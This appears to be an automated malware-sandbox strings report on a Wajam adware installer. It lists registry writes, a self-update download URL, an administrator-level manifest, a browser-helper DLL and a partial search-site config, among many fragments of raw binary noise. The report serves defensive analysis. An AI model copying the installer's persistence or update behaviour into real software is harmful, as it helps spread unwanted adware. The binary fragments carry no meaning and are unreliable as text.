Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "DisplayName"="Wajam"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "DisplayVersion"="1.92"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "HelpLink"="http://www.wajam.com/contact_us.php"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "InstallLocation"="%PROGRAMFILES%\Wajam"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "InstallSource"="C:"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "Publisher"="Wajam"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "RegCompany"="Wajam"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "RegOwner"="Wajam"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "UninstallString"="%PROGRAMFILES%\Wajam\uninstall.exe"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "URLInfoAbout"="http://www.wajam.com"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Wajam" "reb"="1"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Wajam" "rec"="2"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Wajam" "red"="1"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Wajam\Update" "updateURL"="http://www.wajam.com/update/Updater/wajam_update.exe"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WS not running

Unicode based on Runtime Data (iexplore.exe )

WS\AppData\Local\Temp\nsfE187.tmp\ExecCmd.dll

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

wsprintfA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

WSu2E=cA+ 3j 9CYtS9]t"5cAEjPt4E;Eu,uj@@CPuVSjf;Et@SjYE5CCtCjFDY0IujSSu0@F<j@VhC)3_^[UXSVuW}uuEe}uEAE|

Ansi based on Dropped File (nsqE177.tmp)

WSVh@CSVh@CYYVjY2VJ7;EVteh@C9]YYtF5@j#Djdu=tEPu@9]|uWP>9]tEu@Eh@jp

Ansi based on Dropped File (nsqE177.tmp)

wUr>tM8lU0fu0<q,Qg

Ansi based on Dropped File (nsqE177.tmp)

wv]g z3:G["'dkCog?pO<v#,?Bi;{2gqC{s+9![06A{@H

Ansi based on Dropped File (nsqE177.tmp)

WVC|wMKEE;wE_^[ V]u^WV+YV0_^Uuh@PD0POUMEVttu~@ANuE^]t$0Pt$Pj@0P3VL$Auh @V0&uh@uh@VD0^D$VX@D$\@D$Wh58@`@D$$PjYuh@kVVtVWPNP00~t$:P1=0YYPuVY_^U ESX@E\@Eh`@58@EPjuY{tS

Ansi based on Dropped File (nsqE177.tmp)

WVh@E?V?u

Ansi based on Dropped File (nsqE177.tmp)

wvsprintfA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

WW*&YA|`A_t~uPA|^[UE4`A0A]jhdA 3G}39AujhYYu4`A9tmjgY;u3Pj

Ansi based on Dropped File (nsqE177.tmp)

ww.wajam.com/

Unicode based on Dropped File (priam_bho.dll.1505483275)

wWsw4wj.bw?On<rx}@O- aq@,q

Ansi based on Dropped File (nsqE177.tmp)

www.wajam.com

Ansi based on PCAP Processing (PCAP)

WX#?]6m'ok

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

WZZZbdc[|&u`^YlZU]bee_Gq[^J_PevlbSGN~(W\Y90fMY^LhceckZXXhvglWZZZceau|&[cbIK\\ZDl/ZV^^il;P\b_tE_eee]Zg]c\WeedfeR~+PkE^ZfXZZ\beeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee^Jl

Ansi based on Dropped File (nsqE177.tmp)

W}t<@EEPWMp@EPjhWEfuEEEPjhWEE_^UPSV58@WhuhEuC5P@EC3}]E"Ej@CC[}Pj@]@jn B5C@

Ansi based on Dropped File (nsqE177.tmp)

w~?=Q6:{7g~gD5;tZ%JetA_655:te{<}&H{Q

Ansi based on Dropped File (nsqE177.tmp)

X#u0ADPuEjju0H0A]

Ansi based on Dropped File (nsqE177.tmp)

X(Ettuf|Ot3f3UV397t;hWA0A;tNhPWAP0A;t>V7uuVhVVVuu%9wtuuVhVVVuuP0A3@^]UQSVW~E3PE]P;t

Ansi based on Dropped File (nsqE177.tmp)

x1NJ G:Y+4?B!^G')+b}V~_,C:vA$CD.!&mfvc

Ansi based on Dropped File (nsqE177.tmp)

X5XEE9~OSEVE@@p MqPGEPgu

Ansi based on Dropped File (nsqE177.tmp)

x8tP4UM`8jEPKPt[Yt:4+M3@;jDSPZC@jSDPZn3PPjMQjDQP C@1A=j,PVEP$4|1A

Ansi based on Dropped File (nsqE177.tmp)

X]A]DjY;#]%u A%u$AUVMQY0^]D$L$L$uD$SD$d$D$[WVS3D$}GT$D$T$D$}GT$D$T$uL$D$3D$AL$T$D$ud$D$r;T$wr;D$vN3Ou[^_V#u3^~Duj$d'YFDtFD^SVD$uL$D$3D$A\$T$D$ud$D$r;T$wr;D$vN3^[0AAVj^u;}AjP&YYAujV5A&YYAujX^30AA A|j^3@AWAt;tu1 BA|_3^#=AtIU5A8YUVu0A;r"Aw+QSNY

Ansi based on Dropped File (nsqE177.tmp)

XD?N^\_~g_FFFfffUUUIIItttUUUIP27\jprflFWOe$/=-=Ti-7O0H_t,)Fdy;U<W?X$Ap"[q"#IbZn0F^'@4JRg(C@W$?F_&B6QZp!=YosNfLdF^?Y8Tv:Qidy2NWm'D^s~h{se{wg{G`kWn0?x]m6bf^_Zr&uWcpcxt`u_u_ssbvdz7RcwUkNgpSixD\s;UpUltp_tZqh|LdXnl~^r\qWllcvbw3<<<<<7YP9<<<<<<-alddd`|&v^wsN]kpgddc+|xxxnnngggIP3#(601&/r<MC[,;";,2F",D/

Ansi based on Dropped File (nsqE177.tmp)

XfE9Et@uff+]]0Aj^;uww0jmZe\3_[^UVuVYuRwMWujuP0Au0A3tPBwYAD0 _^]US]VuA

Ansi based on Dropped File (nsqE177.tmp)

xFJ/}:qI_*7n=]VU]+QyH[4K-F93"40}fTH*!qT^vZgwW8aE~0:q?r$ f,E3x)dXH&R_s("l$>r7h;I8eH(zv[<qTa-/A[fF}P}rjA*"N,hU,E$IZ-fQ#|dJ!JF*^;TikL0r+|\|c'i9Uc~n!UYdltBhXjzO$V|(woJOFiWWRa

Ansi based on Dropped File (nsqE177.tmp)

XfMLML%D&

Ansi based on Dropped File (nsqE177.tmp)

XFr`n)bq,x JT"k6+

Ansi based on Dropped File (nsqE177.tmp)

xkMd=)aI/4!c!%N(~*SK;kJZo+'ArBB3+78JDHO%)dZUI

Ansi based on Dropped File (nsqE177.tmp)

xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/></application></compatibility></assembly>

Ansi based on Dropped File (uninstall.exe.1409288513)

XPD8XYf;D80E9@8T4D83D8?D49M3+4H;Ms&CA

Ansi based on Dropped File (nsqE177.tmp)

xplore.exe

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

xt|uFB&EP

Ansi based on Dropped File (nsqE177.tmp)

Xt}tE`pE~1]}EPE%PYYtEjE]EYg*3]EAEjpUjRQMQVpEP$oEtM}tMap^[UWVSMtMu}AZ I&

Ansi based on Dropped File (nsqE177.tmp)

XuU#8cr@B~;o8zF@(lU@@0%ij^ hhC(^!=?>)Lz{/{|j(74)O~_~9G9YNIGyKu]M?a#{Dcq2F{$QL>4Nrt1_|hk%

Ansi based on Dropped File (nsqE177.tmp)

xV,oQrQ\zAsKMM=)!

Ansi based on Dropped File (nsqE177.tmp)

XY]9u+hW0AuWYYb]>W>YEEj

Ansi based on Dropped File (nsqE177.tmp)

X}EU;u);t;Us+H+Eubu;Us+H+E;u;tUs+I+Ea;ErEN;rWuu})}})})~}EMEErE%?FY%=ImfF

Ansi based on Dropped File (nsqE177.tmp)

y to current user

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

y!,?!x!y"z/"7@@"67@D"8y6?mH""i1"i1m"I

Ansi based on Dropped File (nsqE177.tmp)

Y"L}tE`p3^[Ujjuuuuq]U}t-uj5A01AuV0APY^]UQeVEPuuCu9Ett

Ansi based on Dropped File (nsqE177.tmp)

Y$-UEVWxY;AsQ<A<u5=@AS]utHtHuSjSjSj0A3[ _^]UMS3VW;|[;

Ansi based on Dropped File (nsqE177.tmp)

y&u]##}3EueeuSWVuEUSWV1M9/u}<tgHtVHt3 t't

Ansi based on Dropped File (nsqE177.tmp)

y*zA;u@D1Ht%CT1|T%CuT&C+jRPuE+]PuSujh0AEu40APByYME;EtPfYEEE3;EL0tf;

Ansi based on Dropped File (nsqE177.tmp)

Y0fCMEuM^)_[]UEVWYI5,tytNHt%E@EPu EPpguEj%ZfEE@2)jYuQZu uRwMjZ+j^+t;+tHuUVuEH;uIEH;Pm;}3

Ansi based on Dropped File (nsqE177.tmp)

Y1k:GV.w3

Ansi based on Dropped File (nsqE177.tmp)

Y3P@QPPPuhWuXA=^t'h^hWP AWjPS=H^t'hH^hWP AWjPS3PPPPS,A%SlYEPhPSpAt}w=YYuAtu7jjh.S5YTA=/EuY|jXYt

Ansi based on Dropped File (nsqE177.tmp)

Y9 [tjlX$nSh*-QP5YA;YL$QSPhSS@;D$5@h5Yh5Y8Y\$\$uJj5Y@9Yt48Yu,;tjWSWD$A;tVASVD$@5Y@te-ASSD$(SPA~MD$ P5Yu,D$ P$uD$ PAuD$ PA5Y@ul$hU@=ujU@YU\@8YY;hH_hP@8Y;t

Ansi based on Dropped File (nsqE177.tmp)

Y;vY8YtU%Y5@jSShU=@PjSSjUPjSShUPt$|$jH]tJH38Y$[;t&8h[h[uWj4QPW@-Y9-YtfjW@W@vt$t$YYjX_|$5@3jSShW-@PjSSjWPjSSSWPhW-@PjWPSWP3_^][H_SUVWjY3|$}T$|fj3Y|$=T$<$f5$@3$UY$j@-YZYYYZYYZYY^H^[([h[9\[t)P5[5\ @5\Y]$9X tY5[S=0@][8/OhYPuY$hY5[u

Ansi based on Dropped File (nsqE177.tmp)

Y= APQPD$ hdXP]v8t3=Yu*P5]jd@PD$h\XP<@D P= [$uD$PU@[t8u[5@PhUhZhU]v`L$QP|$YYvQ=YuHP@D$hTXPD$P<@D3P]t$PYD$YhLXPd$D$PhUL$j<3[R33<XR3PD$$SPD$PhU]L$QP,YD$YPhUj5@5]h5]PhhU@]=v>

Ansi based on Dropped File (nsqE177.tmp)

y?Tnru6hjx+v9"^=@N'8cdjY,jN-.r"~8>}y`>NuLVlCdAZdg~N~ih<fdBw_8_F<S$s!l3Cxc2pGfo<GKw#g;~Qxwk&(R }vjbL&1|<]EQEej*[8?c,03>>0UARE?1!^YZ%99L

Ansi based on Dropped File (nsqE177.tmp)

y@@uQR9QuSQASQAL$KCkUQPXY]Y[UQQEVuEEWVEY;u2JuMQuP0AE;u0AtP$YAD0 EU_^jhHeA]]Eu x;Ar )<AL1tPjYeD0tuuuuEU$, ]]EEUzuYUAhYMAt

Ansi based on Dropped File (nsqE177.tmp)

Y[d|CmB<(%YGAj-ygB*u6.+0O>7P>"pV6

Ansi based on Dropped File (nsqE177.tmp)

Y]9^uhFP0Au]FE09]tAD8P0AE3}j

Ansi based on Dropped File (nsqE177.tmp)

Y]UEVFuctBFHlHhN;

Ansi based on Dropped File (nsqE177.tmp)

Y^2_UH_SVWj?Y3fE=@APPEP]]3;^jE@PhWP AZ;MQVQjVu='teSVP$tPE]PPEPt8hWPX$YYt!VVj P<$Y@YP-$]95]

Ansi based on Dropped File (nsqE177.tmp)

Y^U0SV3W]]]]]3EEEEEEj;_Et;E+tW#tJt'HtE}E9E]]*39}E]@]E]]]ME+tHc9]EtPHE ;uhj@0MF '+^t&It

Ansi based on Dropped File (nsqE177.tmp)

Y_^$434]tPQfUQVu

Ansi based on Dropped File (nsqE177.tmp)

Y_^[$`"3]9|$<t<t$]t/D$dP9|$,D$dPL$t$!D$(39|$tt$T0A|$|$;9|$,9|$(D$$!|$\!|$`D$XD$dP|$\K3L$XL$\L$`;!L$\39}tCf>{u=V0Au1L$Wut$ V;L$n;f>}9|$t

Ansi based on Dropped File (nsqE177.tmp)

Y_^[]E39eE3Md

Ansi based on Dropped File (nsqE177.tmp)

Y_^[]VW3 A<dAu`A8h00AtF$|3@_^$`A3S0AV`AW>t~t

Ansi based on Dropped File (nsqE177.tmp)

Y_^[M3U DA3Ef?=Vu.x%xrx3M3^UVTA6u0AtTA|3@^]3U0DA3ESVWMGQ73

Ansi based on Dropped File (nsqE177.tmp)

Y_^[U(Wj3Y38^}U_t"]REjERPE(u0A5]5\RRu,AUH_Wj?Y3jfEEPPj_Wu4AV5H@hVPaThVPuY=hVPuYhVPu=YhVPuYhVPuYhVPuY3uYPhVhSJ4uYPhVhS$5uGYPhVh0S<@

Ansi based on Dropped File (nsqE177.tmp)

Y_^[UlSVW5$@5Yj@[S5Y}S5YES5YES5YES3USS5[YM5YMME<MMh[]]]}Ef]UEEEMElA;E6MEQMQj2P]LA5HAtEtjE_]jPj2}uj_9]vjh]juE9^vjh^juhX(@;thXP,@Z5[chW5[0@JZV7hW5[0@E=YSWEhEuEE]]@^3:SASAQ@S#WPV4@EY8^EEEEEtSu8@]EPSS5[hA!M8tFE8t?PQhWP AhH^PP<@PQuuP@h@Y8^t9}u9\tSSS]ud@]u=YE<@~u3u<@~M3ESJHR@PVQuuudA;E9}uYu

Ansi based on Dropped File (nsqE177.tmp)

Y__^[]QM3;M3;\A

Ansi based on Dropped File (nsqE177.tmp)

Y__^[]QUS]Vs35DAWEE{t

Ansi based on Dropped File (nsqE177.tmp)

yC3JfF9m,4Ig05; "e|4.z00

Ansi based on Dropped File (nsqE177.tmp)

ycbeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeedbtnc0aceeeedbf0p_;`jcdeeedbdQdZv|'ad]kSddcfYdeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeda/C`deedbk

Ansi based on Dropped File (nsqE177.tmp)

yCuv9EtMyuh39EQu;|SiT

Ansi based on Dropped File (nsqE177.tmp)

yd#h_1TKA;d&

Ansi based on Dropped File (nsqE177.tmp)

Yf>8w!2Ax

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

YFzF$_D6;eX]tCE3

Ansi based on Dropped File (nsqE177.tmp)

Ygj5(pGTq K|3

Ansi based on Dropped File (nsqE177.tmp)

YjXYQuu Sh`@E

Ansi based on Dropped File (nsqE177.tmp)

YKt.tHtHtHuSS

Ansi based on Dropped File (nsqE177.tmp)

YMYH9`$@G<e<a0p:Pn8MMx)/ld7SZom<W3620Db6V60\ufA

Ansi based on Dropped File (nsqE177.tmp)

Ynceaucs\cehh_4_dcd?z{^raeeeci;y|Xp_.\ghhhouU*cded`C=pb^edcmU~)_hIyw?j`rBvbeckRsbdf]scdee[cx+dhhibny!T]nGxbdbvNv|'ffhhhpx!beeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee]_R^e^Jl

Ansi based on Dropped File (nsqE177.tmp)

YoN.A?I$]-GziY!)EUtb){.v{}b%v=hm6vH$$BFv3ma}l7;3s\!8%tlkka&ho

Ansi based on Dropped File (nsqE177.tmp)

Your internet connection seems to be not permitted or dropped out!Please reconnect and click Retry to resume installation.

Ansi based on Dropped File (inetc.dll.1181384010)

YPP A5[MuhW5[0@u5[5@[;tP9 [t5[$[;tP[;tP\;tP[;tPY$[P[P[[[\^^_^][UV5 @hYhT^hYhPPuuuuu^]Uuj@$@u\uuuu]Uu^uuuu]D$jYXQ=L$r-=s+@P%@%p@%@%@%@%@%@%@%@D$u9L_~.

Ansi based on Dropped File (nsqE177.tmp)

YQPVh@OE9uuP[??.EMPQCYYeEE}uPA?a?EEYU(xA

Ansi based on Dropped File (nsqE177.tmp)

YqW^>#H%D4.8P;\IL},d

Ansi based on Dropped File (nsqE177.tmp)

Yrqs}}bAgCWj199&r9We>))1HGl^zaYXIf

Ansi based on Dropped File (nsqE177.tmp)

YSPAY]=Y}uEe=^tW =^tW

Ansi based on Dropped File (nsqE177.tmp)

ystem.dll

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

YTEe&]..6;DTH[*<inCoG'EOHkj\:]7n')e"o02TZ=zFjwPG_:)>^Nw_{}y!V0L"'FC 2xllOz6G>&-/FrTe

Ansi based on Dropped File (nsqE177.tmp)

YtjX@ETEE3@e{T3[UjhhkAUEt]

Ansi based on Dropped File (nsqE177.tmp)

Yu5@uuuuu@tShhu@Y_^[YVt)0t#FPt$ @

Ansi based on Dropped File (nsqE177.tmp)

Yu\@8^9YuYhZX@EuPAhW5[0@u5[

Ansi based on Dropped File (nsqE177.tmp)

YV@3jX^=Yt9YVPj@$@5Yt$FPL@YY0^UEuh4Xu @]uhV=(sPh(X=s

Ansi based on Dropped File (nsqE177.tmp)

Yvu_X)tG_9t@u@@@Vf2ftfsPXt^^aRQS|P1L$diA-@Ad

Ansi based on Dropped File (nsqE177.tmp)

YyhtuzGKF'

Ansi based on Dropped File (nsqE177.tmp)

YYuh4YAhP;PWh,APW1A3_^M3[&WWhtYAWWPjjjh,AVVS0A;uDS 0APhYYuhYAhPm;PWVp5 0APS3@lU(DA3Eu@SVh?3VV00A;uQPh

Ansi based on Dropped File (nsqE177.tmp)

YYuhZAhPs9P$VWPV3_^[M3p$USV3W9Ltd0APLuF0P,40ASSjS0ASSSh!@SSX;T=1AEP2AEP2ASSSEPT;tjP0AT0ATX0A_X^3[SWh?3SS00A;t!Vjh,AW,0A5 0A;tPCW^_[UDA3E#EVWYA}MQfX3OhHZAYtWh`ZAYtuhtZAYtxhZA{YtrEPY;uM_3^"

Ansi based on Dropped File (nsqE177.tmp)

YYWjjW*hp@J

Ansi based on Dropped File (nsqE177.tmp)

YYWWD@Wu8Eth@h

Ansi based on Dropped File (nsqE177.tmp)

Y{cNe+#Urkr]P.jh^[il{$S\

Ansi based on Dropped File (nsqE177.tmp)

Y})CNwC{dM@CN

Ansi based on Dropped File (nsqE177.tmp)

y}ANt:GV:BQ^.

Ansi based on Dropped File (nsqE177.tmp)

z$)!\q8nol3bCA+FKG|9-q74Hvt257~T?)?:}~d9

Ansi based on Dropped File (nsqE177.tmp)

z'y}qH(_=-

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

z*P"EFptAPO}FlhK*t{DPC&=3Zu=(:x

Ansi based on Dropped File (nsqE177.tmp)

Z.~?T8Pp7|`=*6(Lc`t]d`Tj"4/CyQ;'\?sm52Ez0.5@x\y-S~r)R

Ansi based on Dropped File (nsqE177.tmp)

z`E^W YTSr{y#zg F%N)`9(obnId

Ansi based on Dropped File (nsqE177.tmp)

zbR$9<X%X:mvC=900#`hl

Ansi based on Dropped File (nsqE177.tmp)

zE05[jU0N)P`GOTm+t6J~I/^<8Oq@x -b<

Ansi based on Dropped File (nsqE177.tmp)

zES[ G$ !mN p~)FU_Jq)(w@$Djn@vO8N8C?!{PA(vN>DAwb*]`g.eKh/<hFqRi@^)Obe'&1Q^_;)cm "rKhH${8!.(#)$3M[}*)! O}95,60if~Lh,`i>{VW/UsGk;gNj0B

Ansi based on Dropped File (nsqE177.tmp)

ZfN,RNJNRiJVRJVhXRiVkinNJJNRieuaRyN{J_R_}uVVe*uN$%N{'(

Ansi based on Dropped File (nsqE177.tmp)

Zgs9J.@,j~D(V{H}

Ansi based on Dropped File (nsqE177.tmp)

Zk&_)nb;b-U)<ryyk;s<P'u;ag3 w9\uzJN;$c5lB0('m;ed4yJ4H!fz'?YW2oVnC+dfK`t

Ansi based on Dropped File (nsqE177.tmp)

zki7a[+g^=9$I3/8`uG'R$3*#zsD5sP_6M&Q1b~F0?Q2-|bh"P]UwF~{s/?5"w=%:.{u-Mo?s&!qbKC1lVC>5q.sBJHzh`m!K_.qTDqNH[va3^<MsfpR})6PX.k/+=wk|Awo(6z,_+|jFxWLCOy@/i(3?:Q.8&cvxf;jcA

Ansi based on Dropped File (nsqE177.tmp)

zM6 g}ZO=

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Zs*\qj=[O@c1"'TUU]a_H1LEH7|Lwq~M6OUm]+mFICSF-dY2&A?aPf0W0SU 7?s:'vLb#]=F,<w;ED4L&%9]Z.u)Yi4,0l*kBh

Ansi based on Dropped File (nsqE177.tmp)

ZTUWVSPRTjjhR%@D$0@0@

Ansi based on Dropped File (nsqE177.tmp)

zul&kPM5`[ju0c5v(G1#z/F5`Le@"dc2Tk2w<'UuJ6-jbdE\=`IlaI4+^f'u{7=zVTp!iG_.+.xhK]U]r`Ijc[0priQ|/t]]"c0[Kv`k%>"QUlrVTH{u7"0Z;gT2=8S28[haplQso|.?)tf|T6^Y4ALZtn/$)sXv"aOd|pH;/a|IQC}suD8"!.[ZF[BJ~UmnVve@$DL!c**mce7r%$"e()nw3\>BTj5*\sseYh6QTS6&acY4c"oc*1cf?G" %miQLu"[I-uV?

Ansi based on Dropped File (nsqE177.tmp)

Zw ArZw ft:f;t3MQPJMQPJftf;t+}^tMap_[U=AVuiuu[Mt+Ar

Ansi based on Dropped File (nsqE177.tmp)

Zw ArZw ftf;t+juux^]QL$+Y;QL$+Y;US]W3;t9}u3?v3fVu;uuME;9xu*9}0f<0@;Eru=0ASjVjp0AzuLEEt)Mt MQP:YYtF>t F}uu+uESVujpuUH*38Ef19xuV*Y2WWjVjp0A;u*}tE`pH}tMap^_[USVu3];u9]t"9]wj^0c3fW};tuME;EvE=v}jPMQPuV#u;t3fU8]tcMapZ@;t@;Ev4}t$3f+j"^08]tE`p&EEP3fLF;t8]tE`pE_^[UEuxjX]

Ansi based on Dropped File (nsqE177.tmp)

Zw ArZw Mt

Ansi based on Dropped File (nsqE177.tmp)

Zw ArZw MtDft?f;t8EPP8EPP(Mt

Ansi based on Dropped File (nsqE177.tmp)

ZY8Y-$AujP

Ansi based on Dropped File (nsqE177.tmp)

ZzApbB"S=OO$UvbL$IrJUHDP)D@:3@(B

Ansi based on Dropped File (nsqE177.tmp)

Z~3]jhjAZ}]ssue;utb~;w|YO4uE|tshSOteu+Yee}]uuE;utYsZ]u~8csmu8xu2H t!t"uxu3A3jhjAaYMt*9csmu"At@tePq

Ansi based on Dropped File (nsqE177.tmp)

{"version":"0.21149","update_interval":54,"base_url":"http:\/\/wajam.com\/","supported_sites":{"google":{"main_pattern":".*www\\.g

Unicode based on Runtime Data (iexplore.exe )

{/pbLwM!o}CYoG:=2p~|+

Ansi based on Dropped File (nsqE177.tmp)

{00000000-0000-0000-0000-000000000000}

Unicode based on Runtime Data (iexplore.exe )

{0633EE93-D776-472f-A0FF-E1416B8B2E3A}

Unicode based on Runtime Data (iexplore.exe )

{095BFD3C-4602-4FE1-96F1-AEFAFBFD067D}

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

{1FAEE6D5-34F4-42AA-8025-3FD8F3EC4634}

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

{374DE290-123F-4565-9164-39C4925E467B}

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

